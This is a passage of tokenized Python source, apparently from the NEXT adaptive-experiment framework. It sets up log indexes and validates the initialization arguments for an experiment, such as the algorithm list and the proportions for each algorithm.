"ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "task", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "ensure", "\\u", "index_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "1_", ",_", "'", "timestamp", "'_", ":_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "next_", "._", "constants_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "git", "\\u", "hash_", "=_", "next_", "._", "constants_", "._", "GIT", "\\u", "HASH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "set_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "app", "\\u", "id", "'_", ",_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "'", "experiment", "s", "\\u", "admin", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "start", "\\u", "date", "'_", ",_", "utils_", "._", "datetime", "2str_", "(_", "utils_", "._", "datetime", "Now_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "n", "'_", ",_", "'", "d", "'_", ",_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n_", "=_", "args", "\\u", "dict_", "[_", "'", "n", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "args", "\\u", "dict_", "[_", "'", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "delta_", "=_", "args", "\\u", "dict_", "[_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AL", "G", " ", "LIST", " ", "FORMAT", "TIN", "G", " ", "CHECK_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "alg", "\\u", "list", "'_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "list_", "=_", "args", "\\u", "dict_", "[_", "'", "alg", "\\u", "list", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "support", "ed", "Alg", "s_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "support", "ed", "\\u", "alg", "s_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "not_", "in_", "support", "ed", "Alg", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "unsup", "porte", "d", " ", "algo", "rit", "hm", " ", "'%", "s", "'", " ", "in", " ", "alg", "\\u", "list", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "list_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "alg", "\\u", "list_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "instruct", "ion", "s", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instructions_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "instructions_", "(_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instructions_", "=_", "args", "\\u", "dict_", "[_", "'", "instruct", "ion", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "deb", "rie", "f", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deb", "rie", "f_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "instructions_", "(_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deb", "rie", "f_", "=_", "args", "\\u", "dict_", "[_", "'", "deb", "rie", "f", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "num", "\\u", "trie", "s", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "tries_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "default", "\\u", "num", "\\u", "tries_", "(_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "tries_", "=_", "args", "\\u", "dict_", "[_", "'", "num", "\\u", "trie", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ALGO", "RIT", "HM", "\\u", "MANAGE", "MENT", "\\u", "MODE", " ", "FORMAT", "TIN", "G", " ", "CHECK_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "[_", "'", "proportion", "s", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "[_", "'", "proportion", "s", "'_", "]_", "._", "append_", "(_", "{_", "'", "alg", "\\u", "label", "'_", ":_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", ",_", "'", "proportion", "'_", ":_", "1._", "/_", "len_", "(_", "alg", "\\u", "list_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fixed", "\\u", "proportion", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "params", "'_", "]_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "=_", "args", "\\u", "dict_", "[_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mode_", "=_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "mode", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", " ", "must", " ", "be", " ", "a", " ", "dictionar", "y", " ", "with", " ", "fields", " ", "'", "mode", "'", " ", "and", " ", "'", "params", "'\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mode_", "==_", "'", "fixed", "\\u", "proportion", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "algo", "rit", "hm", "\\u", "proportion", "s", "\\u", "list_", "=_", "params_", "[_", "'", "proportion", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "['", "params", "']", " ", "must", " ", "be", " ", "a", " ", "dictionar", "y", " ", "with", " ", "field", " ", "'", "proportion", "s", "'\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "if", " ", "alg", "\\u", "labels", " ", "are", " ", "proper", "ly", " ", "label", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "proportion", "\\u", "item_", "in_", "algo", "rit", "hm", "\\u", "proportion", "s", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "proportion_", "=_", "proportion", "\\u", "item_", "[_", "'", "proportion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "alg", "\\u", "label_", "=_", "proportion", "\\u", "item_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "alg", "\\u", "label", "\\u", "in", "\\u", "alg", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "==_", "target", "\\u", "alg", "\\u", "label_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "\\u", "alg", "\\u", "label", "\\u", "in", "\\u", "alg", "\\u", "list_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "target", "\\u", "alg", "\\u", "label", "\\u", "in", "\\u", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "['", "params", "']", "['", "proportion", "s", "']", " ", "must", " ", "be", " ", "a", " ", "list", " ", "of", " ", "dictionar", "ies", ",", " ", "each", " ", "dictionar", "y", " ", "contain", "ing", " ", "the", " ", "fields", " ", "'", "alg", "\\u", "label", "'", " ", "and", " ", "'", "proportion", "'.", " ", "The", " ", "'", "alg", "\\u", "label", "'", " ", "value", " ", "must", " ", "be", " ", "one", " ", "of", " ", "the", " ", "alg", "\\u", "labels", " ", "in", " ", "a", " ", "provided", " ", "alg", "\\u", "list", " ", "and", " ", "'", "proportion", "'", " ", "must", " ", "be", " ", "nonn", "egat", "ive", " ", "and", " ", "sum", " ", "to", " ", "1", " ", ":", " ", "'%", "s", "'", " ", "not", " ", "in", " ", "provided", " ", "alg", "\\u", "list", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "target", "\\u", "alg", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mode_", "==_", "'", "pure", "\\u", "exploration", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "So", "rr", "y", ",", " ", "'%", "s", "'", " ", "is", " ", "not", " ", "ye", "t", " ", "support", "ed", ".\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "mode_", "==_", "'", "explore", "\\u", "exploit", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "So", "rr", "y", ",", " ", "'%", "s", "'", " ", "is", " ", "not", " ", "ye", "t", " ", "support", "ed", ".\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "unsup", "porte", "d", " ", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "mode", ":", " ", "'%", "s", "'.", " ", "Mus", "t", " ", "be", " ", "in", " ", "{", "'", "pure", "\\u", "exploration", "','", "explore", "\\u", "exploit", "','", "fixed", "\\u", "proportion", "s", "'}", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "mode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ALGO", "RIT", "HM", "\\u", "MANAGE", "MENT", "\\u", "MODE", " ", "FORMAT", "TIN", "G", " ", "CHECK_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", "not_", "in_", "args", "\\u", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "=_", "'", "one", "\\u", "to", "\\u", "many", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "=_", "args", "\\u", "dict_", "[_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", "not_", "in_", "[_", "'", "one", "\\u", "to", "\\u", "many", "'_", ",_", "'", "one", "\\u", "to", "\\u", "one", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "init", "Exp", " ", "unsup", "porte", "d", " ", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", ":", " ", "'%", "s", "'.", " ", "Mus", "t", " ", "be", " ", "in", " ", "{", "'", "one", "\\u", "to", "\\u", "many", "','", "one", "\\u", "to", "\\u", "one", "'}", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", ")_", 